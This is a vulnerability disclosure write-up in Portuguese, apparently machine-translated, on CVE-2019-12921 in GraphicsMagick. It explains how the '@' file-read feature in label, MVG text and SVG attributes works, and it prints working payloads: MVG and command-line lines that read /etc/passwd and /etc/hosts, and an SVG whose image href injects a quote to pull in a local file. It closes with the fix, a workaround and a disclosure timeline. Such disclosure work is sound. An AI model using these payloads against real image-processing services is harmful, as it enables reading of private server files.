Em 2016, a vulnerabilidade do ImageTragick no ImageMagick fez muito barulho. Como forma de reduzir o risco, foi proposto o uso do GraphicsMagick , um fork da biblioteca ImageMagick, voltado para uma API mais estável e produtiva. A vulnerabilidade original CVE-2016-3717, descoberta por stewie , permitiu que um invasor lesse um arquivo arbitrário no sistema de arquivos usando uma imagem especialmente criada. Hoje vou considerar uma vulnerabilidade semelhante no GraphicsMagick que descobri ao analisar o código fonte da biblioteca.
A exploração original através do pseudo- protocolo 'label' do site ImageTragick não funcionará.
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context

O motivo é que o algoritmo de processamento de imagem ImagePrimitive do arquivo render.c ReadImage não pode processar a cadeia de caracteres do rótulo: @ / etc / passwd como uma imagem e retornará um erro Não é possível abrir o arquivo. Código da função:
#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; }
No entanto, a capacidade de ler qualquer imagem no sistema de arquivos permanece, mas só pode ser usada para coletar informações internas. Um exemplo da operação desse "recurso" pode ser encontrado nos relatórios dos programas BugBounty, por exemplo aqui .
Isso me levou a estudar em detalhes a implementação do codec Label no GraphicsMagick. Para fazer isso, realizamos a conversão:
$ gm convert label:@etc/passwd output.png
A biblioteca retorna a primeira linha do arquivo / etc / passwd, o que significa que o pseudo-protocolo permanece vulnerável, mas na maioria dos casos não é adequado para um invasor, pois não há possibilidade de afetar a linha de comando. Para entender como você pode explorar esse "recurso", vejamos os motivos. O pseudo-protocolo de rótulo converte uma string usando a função TranslateTextEx:
text=(char *) formatted_text; if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); }
A função aceita o parâmetro de entrada formatted_text e se a linha começa com o caractere especial '@', a linha adicional é percebida pelo GM como o caminho completo para o arquivo do qual é necessário ler o conteúdo para transformação. Vejamos outros lugares onde essa função é usada, que pode ser explorada por um invasor.
- /coders/msl.c é uma pluralidade de ocorrências, mas a GM usa essa linguagem como linguagem de script para o comando conjurar e não será discutida neste artigo.A operação é possível, mas requer lógica de aplicativo específica
/magick/attribute.c manipulando atributos de imagem. A função TranslateText é chamada para os atributos de comentário e rótulo quando eles são transmitidos diretamente pelo usuário, em vez de serem armazenados na própria imagem. O desenvolvedor nos deixou uma pequena dica:
Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.
Mas o que acontece se o processamento pela função SetImageAttribute da imagem for executado após o tog as, o blob ser fechado. Acontece que existe esse codec - SVG. A cadeia de chamadas para a função ReadSVGImage é a seguinte:
- Analisador de XML é desligado
- CloseBlob (imagem) fecha o blob
- Delegado MVG realiza conversão
- SetImageAttribute (imagem, "comentário", svg_info.comment) os atributos de comentário e título serão gravados na imagem.
Para uma exploração bem-sucedida, um invasor precisa do formato final para suportar esses atributos, por exemplo, GIF, JPEG.
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg>
$ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg

- /magick/annotate.c é uma boa opção para explorar a função AnnotateImage, que é usada:
- /coders/txt.c é semelhante ao protocolo TXT do pseudo-protocolo Lablel: que não é de particular interesse, pois sua operação requer acesso à linha de comando.
- /magick/render.c E aqui chegamos à nossa exploração final do texto Magick Vector Graphics primitivo, que possui uma sintaxe bastante simples:
text "text"
Uma operação bem-sucedida é possível se a linha começar com o caractere especial '@'.
$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png
Esse método é extremamente raro em um aplicativo real, mas existe uma maneira de explorar essa vulnerabilidade usando delegados. O delegado é um processador de imagem externo cujo formato não é suportado pela biblioteca. Há vários codecs que são convertidos em um arquivo temporário e o processamento adicional é realizado pelo pseudo-protocolo MVG. Como observado anteriormente, esse codec é SVG.
Operação CVE-2019-12921
A imagem SVG do Analisador XML converte a marcação em um arquivo intermediário:
FormatString(clone_info->filename,”mvg:%.1024s",filename);
A conversão da tag img tem o seguinte código:
case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; }
Para exploração, precisamos quebrar o contexto da string com as aspas usuais e adicionar nossa exploração:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg>
$ gm convert exploit.svg output.png
A operação para outros codecs usando o MVG delegate ficará a critério do leitor.
Protecção
Uma versão atualizada do GM está disponível no site do fabricante. A correção remove o suporte a arquivos usando o símbolo @ especial no momento, conjuntos de alterações Mercurial 16037: f780c290b4ab e 16038: 44e3d0e872eb para a função TranslateTextEx. Segundo os desenvolvedores, no futuro, essa lógica será retornada em uma implementação mais segura. Como solução alternativa, recomenda o uso da variável de ambiente MAGICK_CODER_STABILITY = PRIMARY
Linha do tempo
As informações sobre a vulnerabilidade foram transferidas para o desenvolvedor em 6 de junho de 2019, um hotfix foi lançado no final do dia. Em 15 de junho de 2019, uma carta informativa foi publicada em www.openwall.com . Em 20 de junho de 2019, o CVE-2019-12921 foi atribuído a esse problema.